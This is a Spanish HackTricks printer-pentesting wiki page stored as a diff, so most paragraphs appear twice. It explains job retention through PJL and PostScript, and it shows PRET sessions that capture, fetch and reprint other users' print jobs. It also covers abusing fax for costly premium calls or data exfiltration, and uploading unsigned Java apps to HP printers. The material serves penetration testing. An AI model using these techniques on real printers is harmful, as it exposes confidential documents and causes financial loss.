- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Retención de trabajos
# Retención de Trabajos
Algunas impresoras tienen trabajos de impresión almacenados accesibles desde el servidor web. Sin embargo, por lo general, la retención de trabajos debe activarse explícitamente para un determinado trabajo de impresión y se puede hacer mediante comandos PJL estándar o código PostScript propietario. Los trabajos se mantienen en memoria y se pueden reimprimir desde el panel de control.
Algunas impresoras tienen trabajos de impresión almacenados accesibles desde el servidor web. Sin embargo, generalmente la retención de trabajos debe ser activada explícitamente para un trabajo de impresión determinado y se puede hacer utilizando comandos PJL estándar o código PostScript propietario. Los trabajos se mantienen entonces en memoria y pueden ser reimprimidos desde el panel de control.
## PJL
La retención legítima de trabajos se puede habilitar para el documento actual estableciendo la variable PJL HOLD como se muestra a continuación:
La retención legítima de trabajos puede ser habilitada para el documento actual estableciendo la variable PJL HOLD como se muestra a continuación:
```
@PJL SET HOLD=ON
[actual data to be printed follows]
```
Los trabajos retenidos se mantienen en memoria y pueden ser reimpresos desde el panel de control de la impresora. Esta característica es compatible con varias impresoras, sin embargo, parece que solo algunos dispositivos Epson permiten establecer la retención permanente de trabajos mediante `@PJL DEFAULT HOLD=ON`.
Los trabajos en espera se mantienen en memoria y pueden ser reimpresos desde el panel de control de la impresora. Esta característica es soportada por varias impresoras, sin embargo, parece que solo algunos dispositivos Epson permiten que la retención permanente de trabajos sea configurada usando `@PJL DEFAULT HOLD=ON`.
**¿Cómo probar este ataque?**
Utilice el comando `hold` de [**PRET**](https://github.com/RUB-NDS/PRET) en modo pjl y verifique si se puede establecer la retención permanente de trabajos:
Utiliza el comando `hold` de [**PRET**](https://github.com/RUB-NDS/PRET) en modo pjl para verificar si se puede configurar la retención permanente de trabajos:
```
./pret.py -q printer pjl
Connection to printer established
@ -42,14 +40,12 @@ Retention for future print jobs: OFF
```
## PostScript
PostScript ofrece funcionalidades similares, pero específicas del modelo y del proveedor. Para las series HP LaserJet 4k y varias impresoras Kyocera, se puede habilitar la retención de trabajos mediante la adición de los siguientes comandos al documento PostScript:
PostScript ofrece una funcionalidad similar que, sin embargo, es específica del modelo y del fabricante. Para la serie HP LaserJet 4k y varias impresoras Kyocera, la retención de trabajos se puede habilitar anteponiendo los siguientes comandos a un documento PostScript:
```
<< /Collate true /CollateDetails
<< /Hold 1 /Type 8 >> >> setpagedevice
```
Aunque teóricamente es posible habilitar permanentemente la retención de trabajos PostScript utilizando el operador [startjob](./#postscript-ps), esta configuración se restablece explícitamente por CUPS al comienzo de cada trabajo de impresión utilizando `<< /Collate false >> setpagedevice`. Para contrarrestar este mecanismo de protección, el atacante puede redefinir permanentemente el operador `setpagedevice` para que no tenga ningún efecto.
**¿Cómo probar este ataque?**
**Cómo probar este ataque?**
Usa el comando `hold` de [**PRET**](https://github.com/RUB-NDS/PRET) en modo ps:
```
@ -60,34 +56,34 @@ Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.
```
# Captura de trabajos
# Captura de Trabajos
Es posible, aunque poco común, activar la retención de trabajos en el diálogo de impresión como se discutió anteriormente. Sin embargo, con PostScript se tiene acceso completo sobre el trabajo de impresión actual y con el operador [startjob](./#postscript-ps), incluso es posible salir del ciclo del servidor y acceder a trabajos futuros. Tal funcionalidad tiene el potencial de capturar todos los documentos si se utiliza PostScript como controlador de impresora.
Es posible, aunque poco común, activar la retención de trabajos en el diálogo de impresión como se discutió anteriormente. Sin embargo, con PostScript, se tiene acceso completo sobre el trabajo de impresión actual y con el operador [startjob](./#postscript-ps), es incluso posible salir del bucle del servidor y acceder a trabajos futuros. Tal funcionalidad tiene el potencial de capturar todos los documentos si PostScript se utiliza como un controlador de impresora.
## PostScript
Con la capacidad de conectarse a operadores arbitrarios de PostScript, es posible manipular y acceder a trabajos de impresión ajenos. Para **analizar la secuencia de datos real enviada a la impresora**, se puede aplicar una característica bastante interesante del lenguaje PostScript: leer su propio código de programa como datos utilizando el operador `currentfile`. De esta manera, toda la secuencia de datos que debe ser procesada por el intérprete de PostScript se puede acceder mediante la lectura y almacenamiento en un archivo en el dispositivo de la impresora. Si la impresora no ofrece acceso al sistema de archivos, los **documentos capturados se pueden almacenar en la memoria**, por ejemplo, dentro de diccionarios permanentes de PostScript. \
Un problema práctico es decidir **qué operador debe ser conectado** ya que no se tiene acceso a la secuencia de datos hasta que este operador es procesado por el intérprete de PostScript. Como un atacante quiere capturar trabajos de impresión desde el principio, el **operador redefinido debe ser el primer operador** contenido en el documento de PostScript. Afortunadamente, todos los documentos impresos con CUPS se comprimen en una estructura fija que comienza con `currentfile /ASCII85Decode filter /LZWDecode filter cvx exec`. Basándose en la suposición de tal estructura fija, el atacante puede capturar documentos desde el principio y ejecutar (es decir, imprimir) el archivo posteriormente. Para sistemas de impresión **diferentes a CUPS**, este ataque también debería ser posible, pero **los operadores deben ser adaptados**. Tenga en cuenta que el encabezado de PostScript que generalmente incluye el tamaño del medio, el usuario y los nombres de trabajo no se pueden capturar utilizando este método porque primero se conecta al comienzo del documento real. Otra estrategia genérica para conectarse al comienzo de cada trabajo de impresión es establecer el parámetro del sistema `BeginPage`, si es compatible con la impresora (la mayoría de las impresoras lo hacen). Esta vulnerabilidad probablemente ha estado presente en dispositivos de impresión durante décadas, ya que se abusan únicamente de las construcciones de lenguaje definidas por el estándar PostScript.
Con la capacidad de engancharse a operadores PostScript arbitrarios, es posible manipular y acceder a trabajos de impresión ajenos. Para **analizar el flujo de datos actual enviado a la impresora**, se puede aplicar una característica bastante interesante del lenguaje PostScript: leer su propio código de programa como datos utilizando el operador `currentfile`. De esta manera, se puede acceder al flujo de datos completo que será procesado por el intérprete de PostScript leyendo y almacenándolo en un archivo en el dispositivo de impresión. Si la impresora no ofrece acceso al sistema de archivos, **los documentos capturados pueden almacenarse en memoria**, por ejemplo, dentro de diccionarios permanentes de PostScript. \
Un problema práctico es decidir **qué operador debe ser enganchado** ya que no se obtiene acceso al flujo de datos hasta que este operador es procesado por el intérprete de PostScript. Como el atacante quiere capturar trabajos de impresión desde el principio, el **operador redefinido debe ser el primer operador** contenido en el documento PostScript. Afortunadamente, todos los documentos impresos con CUPS tienen una estructura fija que comienza con `currentfile /ASCII85Decode filter /LZWDecode filter cvx exec`. Basándose en la suposición de tal estructura fija, el atacante puede capturar documentos desde el principio y ejecutar (es decir, imprimir) el archivo después. Para sistemas de impresión **distintos de CUPS** este ataque también debería ser posible, pero **los operadores necesitan ser adaptados**. Tenga en cuenta que el encabezado de PostScript, que generalmente incluye el tamaño del medio, el usuario y los nombres de los trabajos, no puede ser capturado utilizando este método porque primero nos enganchamos al comienzo del documento actual. Otra estrategia genérica para engancharse al comienzo de cada trabajo de impresión es establecer el parámetro del sistema `BeginPage`, si es soportado por la impresora (la mayoría lo hace). Esta vulnerabilidad ha estado presumiblemente presente en dispositivos de impresión durante décadas, ya que solo se abusan de las construcciones del lenguaje definidas por el estándar de PostScript.
Use el comando `capture` de [**PRET**](https://github.com/RUB-NDS/PRET) en modo ps:
Utilice el comando `capture` de [**PRET**](https://github.com/RUB-NDS/PRET) en modo ps:
```
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture
printer:/> capture
Print job operations: capture <operation>
capture start - Record future print jobs.
capture stop - End capturing print jobs.
capture list - Show captured print jobs.
capture fetch - Save captured print jobs.
capture print - Reprint saved print jobs.
capture start - Record future print jobs.
capture stop - End capturing print jobs.
capture list - Show captured print jobs.
capture fetch - Save captured print jobs.
capture print - Reprint saved print jobs.
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit
```
Ahora, imprima documentos arbitrarios (asegúrese de que PRET esté desconectado para no bloquear el canal de impresión). Después, puede listar, recuperar o reimprimir los documentos capturados:
Ahora, imprime documentos arbitrarios (asegúrate de que PRET esté desconectado para no bloquear el canal de impresión). Después, puedes listar, obtener o reimprimir documentos capturados:
```
./pret.py -q printer ps
Connection to printer established
@ -95,13 +91,13 @@ Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture: 5.0M
date size user jobname creator
date size user jobname creator
───────────────────────────────────────────────────────────────────────────────
Jan 25 18:38 3.1M - - -
Jan 25 18:40 170K - - -
Jan 25 18:38 3.1M - - -
Jan 25 18:40 170K - - -
printer:/> capture fetch
Receiving capture/printer/690782792
3239748 bytes received.
3239748 bytes received.
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
@ -113,16 +109,14 @@ Stopping job capture, deleting recorded jobs
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,26 +1,41 @@
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Escáner
El acceso a la funcionalidad de escaneo en MFP (periféricos/multifuncionales) no está estandarizado y parece que solo unos pocos proveedores aplican comandos PJL para esta tarea. Falta documentación pública, el proyecto [SANE](http://www.sane-project.org/sane-backends.html#SCANNERS) logró ingeniar los protocolos para varios dispositivos de escaneo. En los MFP de Brother, posiblemente se pueda utilizar el operador PostScript propietario \_brpdfscan.
El acceso a la funcionalidad de escaneo en MFPs (impresoras/periféricos multifunción) no está estandarizado y parece que solo algunos fabricantes aplican comandos PJL para esta tarea. Falta documentación pública, el [proyecto SANE](http://www.sane-project.org/sane-backends.html#SCANNERS) logró ingeniería inversa de los protocolos para varios dispositivos de escaneo. En MFPs de Brother, posiblemente se pueda utilizar el operador PostScript propietario \_brpdfscan.
**¿Cómo probar este ataque?**
Instale los controladores de impresora para el modelo específico y (ab)use la función de escaneo.
Instala los controladores de la impresora para el modelo específico y (ab)usa la función de escaneo.
**¿Quién puede realizar este ataque?**
* Cualquiera que pueda imprimir, si la funcionalidad de escaneo se puede acceder a través de un lenguaje de controlador de impresora o de descripción de página.
* Cualquiera que pueda acceder a la interfaz web, en MFP donde los documentos se pueden escanear utilizando la interfaz web.
* Solo los atacantes que pueden acceder a ciertos servicios de red, si se utiliza un puerto TCP separado para el escaneo.
* Cualquiera que pueda imprimir, si la funcionalidad de escaneo se puede acceder a través de un [control de impresora](http://hacking-printers.net/wiki/index.php/Fundamentals#Printer_Control_Languages) o un lenguaje de [descripción de página](http://hacking-printers.net/wiki/index.php/Fundamentals#Page_Description_Languages)
* Cualquiera que pueda acceder a la interfaz web, en MFPs donde los documentos se pueden escanear utilizando la interfaz web
* Solo atacantes que puedan acceder a ciertos servicios de red, si se utiliza un puerto TCP separado para el escaneo
# Telefax
Los mensajes de fax se transmiten en forma de tonos de frecuencia de audio. Se pueden enviar a cualquier dispositivo telefax disponible en el sistema telefónico. Por lo tanto, podrían usarse potencialmente para evitar los mecanismos de protección típicos de la empresa, como los firewalls TCP/IP o los sistemas de detección de intrusiones, y ejecutar comandos maliciosos en impresoras o MFP en redes internas. A mediados de los años 90, Adobe introdujo el "fax PostScript" como un complemento de lenguaje [\[1\]](http://hacking-printers.net/wiki/index.php/Fax_and_Scanner#cite_note-1), lo que permite que los dispositivos compatibles reciban archivos PostScript directamente a través del fax. Esto permite a un atacante utilizar el sistema telefónico ordinario como un canal para implementar código PostScript malicioso en una impresora. Desafortunadamente, el fax PostScript nunca se estableció y solo se implementó en un puñado de dispositivos. En cambio, los mensajes de telefax se transmiten típicamente como imágenes gráficas como [TIFF](https://en.wikipedia.org/wiki/TIFF#TIFF_Compression_Tag). Sin embargo, no se puede descartar que otros proveedores implementen extensiones de fax propietarias para recibir flujos de datos PDL arbitrarios en lugar de imágenes de fax sin procesar. Teóricamente, se podría crear un "virus de fax" que se propagaría infectando otros dispositivos basados en números de la libreta de direcciones de los MFP o mediante la marcación tradicional.
Los mensajes de fax se transmiten en forma de tonos de frecuencia de audio. Se pueden enviar a cualquier dispositivo con capacidad para telefax disponible a través del sistema telefónico. Por lo tanto, podrían usarse potencialmente para eludir mecanismos de protección típicos de la empresa como firewalls TCP/IP o sistemas de detección de intrusiones y ejecutar comandos maliciosos en impresoras o MFPs en redes internas. A mediados de los 90, Adobe introdujo el 'fax PostScript' como un suplemento del lenguaje [\[1\]](http://hacking-printers.net/wiki/index.php/Fax_and_Scanner#cite_note-1), permitiendo que los dispositivos compatibles reciban archivos PostScript directamente a través del fax. Esto permite a un atacante usar el sistema telefónico ordinario como un canal para desplegar código PostScript malicioso en una impresora. Desafortunadamente, el fax PostScript nunca se estableció y solo se implementó en unos pocos dispositivos. En cambio, los mensajes de telefax típicamente se transmiten como imágenes gráficas como [TIFF](https://en.wikipedia.org/wiki/TIFF#TIFF_Compression_Tag). Sin embargo, no se puede descartar que otros fabricantes implementen extensiones de fax propietarias para recibir flujos de datos PDL **entrantes** en lugar de imágenes de fax en bruto. Teóricamente, se podría crear un 'virus de fax' que se propagaría infectando otros dispositivos basados en números de la agenda de direcciones de los MFPs o mediante wardialing tradicional.
Además, el fax **saliente** a menudo se puede controlar mediante comandos PJL propietarios en los MFP actuales. Esto se puede utilizar para causar pérdidas financieras a una institución llamando a un número 0900 (que puede estar registrado por el propio atacante) o como un canal de retroceso para filtrar información confidencial. A continuación se dan ejemplos específicos del proveedor para enviar fax a través de flujos de datos PDL.
Además, el fax **saliente** a menudo se puede controlar mediante comandos PJL propietarios en los MFPs actuales. Esto se puede utilizar para causar pérdidas financieras a una institución llamando a un número 0900 (que puede estar registrado por la propia atacante) o como un canal de retorno para filtrar información sensible. A continuación se dan ejemplos específicos de fabricantes para enviar fax a través de flujos de datos PDL.
### HP
Según [\[1\]](http://hplipopensource.com), el fax se puede acceder mediante PML en dispositivos HP.
Según [\[1\]](http://hplipopensource.com) el fax se puede acceder utilizando PML en dispositivos HP.
### Xerox
@ -28,21 +43,36 @@ Según [\[2\]](http://www.office.xerox.com/support/dctips/dc02cc0280.pdf), Xerox
### Brother
Según [\[3\]](http://brother-mfc.sourceforge.net/faxlanguage.txt), Brother utiliza el lenguaje de control de fax propietario FCL (Fax Control Language): `<Esc>DIALNUM[ (...) ]`
Según [\[3\]](http://brother-mfc.sourceforge.net/faxlanguage.txt), Brother utiliza el FCL (Fax Control Language) propietario: `<Esc>DIALNUM[ (...) ]`
### Lexmark
Según [\[4\]](https://www.lexmark.com/publications/pdfs/techref_WB.pdf), Lexmark utiliza comandos PJL propietarios: `@PJL LFAX PHONENUMBER="..."`
Según [\[4\]](https://www.lexmark.com/publications/pdfs/techref_WB.pdf) Lexmark utiliza comandos PJL propietarios: `@PJL LFAX PHONENUMBER="..."`
### Kyocera
Según [\[5\]](http://material.karlov.mff.cuni.cz/people/hajek/bizhub/femperonpsc200mu.pl), Kyocera utiliza comandos PJL propietarios: `@PJL SET FAXTEL = ...`
Según [\[5\]](http://material.karlov.mff.cuni.cz/people/hajek/bizhub/femperonpsc200mu.pl) Kyocera utiliza comandos PJL propietarios: `@PJL SET FAXTEL = ...`
### Ricoh
Según [\[6\]](http://www.objectiflune.com/forum2/ubbthreads.php?ubb=showflat\&Number=29462\&page=1), Ricoh utiliza comandos PJL propietarios: `@PJL ENTER LANGUAGE=RFAX`
Según [\[6\]](http://www.objectiflune.com/forum2/ubbthreads.php?ubb=showflat\&Number=29462\&page=1) Ricoh utiliza comandos PJL propietarios: `@PJL ENTER LANGUAGE=RFAX`
\
**¿Cómo probar este ataque?**
Instale los controladores de impresora para el modelo específico y (ab)use la función de fax.
Instala los controladores de la impresora para el modelo específico y (ab)usa la función de fax.
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,7 +1,111 @@
En los últimos años, los proveedores de impresoras han comenzado a introducir la **posibilidad de instalar software personalizado en sus dispositivos**. El formato de estas "aplicaciones de impresora" es propietario y los SDK no están disponibles para el público. La función de escribir software personalizado que se ejecuta en las impresoras estaba destinada y está reservada para revendedores y contratistas, no para usuarios finales. De esta manera, una flota de impresoras puede adaptarse a las necesidades especiales y los procesos comerciales de una empresa; los proveedores de soluciones de documentos pueden integrar fácilmente las impresoras en su software de gestión. Un ejemplo popular es NSi AutoStore [\[1\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-1), que se puede instalar en muchas MFP y carga automáticamente documentos escaneados o copiados en ubicaciones predefinidas. Obviamente, la función de ejecutar código personalizado en un dispositivo de impresora es una amenaza potencial para la seguridad. Además, la firma de código de los paquetes de software es potencialmente más difícil que para el [firmware](http://hacking-printers.net/wiki/index.php/Firmware_updates) ya que el software no solo es escrito por el fabricante de la impresora sino por un rango más amplio de desarrolladores que necesitan poseer la clave secreta para firmar su software. Por lo tanto, es lógico incluir la clave secreta en los SDK que están protegidos por estar exclusivamente disponibles en las plataformas de los desarrolladores. Este artículo es un esfuerzo para recopilar sistemáticamente información sobre plataformas / SDK de software específicos del proveedor.
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
En los últimos años, los fabricantes de impresoras han comenzado a introducir la **posibilidad de instalar software personalizado en sus dispositivos**. El formato de tales 'aplicaciones de impresora' es propietario y los SDK no están disponibles para el público. La característica de escribir software personalizado que se ejecuta en impresoras fue pensada y está reservada para revendedores y contratistas, no para usuarios finales. De esta manera, una flota de impresoras puede adaptarse a las necesidades especiales y procesos de negocio de una empresa; los proveedores de soluciones de documentos pueden integrar fácilmente impresoras en su software de gestión. Un ejemplo popular es NSi AutoStore [\[1\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-1) que se puede instalar en muchos MFPs y sube automáticamente documentos escaneados o copiados a ubicaciones predefinidas. Obviamente, la característica de ejecutar código personalizado en un dispositivo de impresora es una amenaza potencial de seguridad. Además, la firma de código de paquetes de software es potencialmente más difícil que para [firmware](http://hacking-printers.net/wiki/index.php/Firmware_updates) ya que el software no solo es escrito por el fabricante de la impresora sino por un rango más amplio de desarrolladores que necesitan poseer la clave secreta para firmar su software. Por lo tanto, es lógico incluir la clave secreta en los SDK que están protegidos por estar exclusivamente disponibles desde plataformas de desarrolladores. Este artículo es un esfuerzo para recopilar sistemáticamente información sobre plataformas de software específicas de los proveedores/SDKs.
# Proveedores
A continuación se presenta un esquema general de las plataformas de software proporcionadas por los principales proveedores de impresoras para ampliar la funcionalidad de sus dispositivos.
A continuación se ofrece un esbozo general sobre las plataformas de software proporcionadas por los principales fabricantes de impresoras para extender la funcionalidad de sus dispositivos.
## HP \(Chai/O
## HP \(Chai/OXP\)
HP introdujo su plataforma 'Chai Appliance Platform' en 1999 para ejecutar aplicaciones Java en impresoras LaserJet. Mientras que un SDK había estado abierto al público al principio [\[2\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-2), el acceso fue más tarde restringido a miembros de la red de desarrolladores de HP. Los servlets de Chai, que vienen como archivos `.jar` que originalmente necesitaban ser certificados y firmados por HP antes de que fueran aceptados por un dispositivo de impresora. [\[3\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-phenoelit2002embedded-3) descubrió una falla en el proceso de despliegue: al instalar EZloader un software de carga alternativo proporcionado por HP que ya había sido firmado pudieron subir y ejecutar sus propios paquetes Java no firmados. Al parecer, HP abandonó completamente la firma de código para versiones posteriores de Chai: [\[4\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-mueller2016printers-4) pudieron escribir y ejecutar un malware de impresora de prueba de concepto que escucha en el puerto 9100 y sube documentos entrantes a un servidor FTP antes de imprimirlos. Su código se basa en [\[5\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-5) quien extendió el dispositivo para soportar balanceo de carga e incluyó los archivos SDK y bibliotecas Java propietarias requeridas en su demostración. Con las bibliotecas, se puede compilar y ejecutar código Java arbitrario en HP LaserJets antiguas subiendo los archivos `.jar` a una URL 'oculta': [`http://printer/hp/device/this.loader`](http://printer/hp/device/this.loader). Este ataque se puede llevar a cabo si aún no se ha establecido una contraseña para el servidor web embebido. De lo contrario, la contraseña debe ser recuperada primero de `/dev/rdsk_jdi_cfg0` con PostScript \(ver [acceso al sistema de archivos](http://hacking-printers.net/wiki/index.php/File_system_access)\) o evitada restableciendo el dispositivo a [valores de fábrica](http://hacking-printers.net/wiki/index.php/Factory_defaults). Un atacante web puede subir el archivo `.jar` usando [CSRF](https://en.wikipedia.org/wiki/Cross-site_request_forgery) si la víctima está actualmente registrada en el servidor web embebido de la impresora. Para dispositivos más nuevos, HP utiliza la plataforma basada en servicios web 'Open Extensibility Platform' \([OXP](https://developers.hp.com/oxp/)\) en lugar de Chai para la cual no hay SDK disponible públicamente.
## Canon \(MEAP\)
La 'Plataforma de Aplicaciones Embebidas Multifuncionales' \([MEAP](http://www.developersupport.canon.com/faq/335#t335n18)\) es una plataforma de software basada en Java introducida por Canon en 2003 para su serie imageRunner y extendida a servicios web en 2010. Los desarrolladores de terceros pueden obtener el MEAP [SDK](http://developersupport.canon.com/content/meap-sdk-0) por una tarifa de $5,000 que ciertamente está fuera del alcance para fines de investigación.
## Xerox/Dell \(EIP\)
La 'Plataforma de Interfaz Extensible' \([EIP](http://www.office.xerox.com/eip/enus.html)\) [\[6\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-6) fue anunciada en 2006 por Xerox para varios MFPs. La arquitectura que también es soportada por algunos dispositivos de Dell con marca compartida se basa en tecnología de servicios web. El [SDK](http://www.office.xerox.com/eip/enus.html) está libremente disponible para desarrolladores registrados.
## Brother \(BSI\)
La 'Interfaz de Soluciones Brother' \([BSI](https://www.brother-usa.com/lp/civ/bsi.aspx)\) es una arquitectura web basada en XML lanzada en 2012 para escáneres, copiadoras e impresoras. El acceso al [SDK](https://www.brother-usa.com/lp/civ/home.aspx) está disponible para desarrolladores con licencia.
## Lexmark \(eSF\)
El 'Marco de Solución Embebida' \([eSF](http://www.lexmark-emea.com/usa/BSD_solution_catalouge.pdf)\) fue lanzado en 2006 para MFPs de Lexmark. El SDK para desarrollar aplicaciones Java está reservado para 'socios especialmente calificados'. Según [\[7\]](http://hacking-printers.net/wiki/index.php/Software_packages#cite_note-7) 'estas aplicaciones deben ser firmadas digitalmente por Lexmark antes de ser adoptadas' usando firmas RSA de 2048 bits.
## Samsung \(XOA\)
La 'Arquitectura Abierta Extensible' \([XOA](http://samsungprintingsolutions.com/2015/02/can-samsungs-extensible-open-architecture-xoa/)\) fue introducida por Samsung en 2008 y viene en dos sabores: la máquina virtual Java XOA-E y los servicios web basados en XOA-Web. El [SDK](http://xoapartnerportal.com/) solo está disponible para revendedores de Samsung.
## Ricoh \(ESA\)
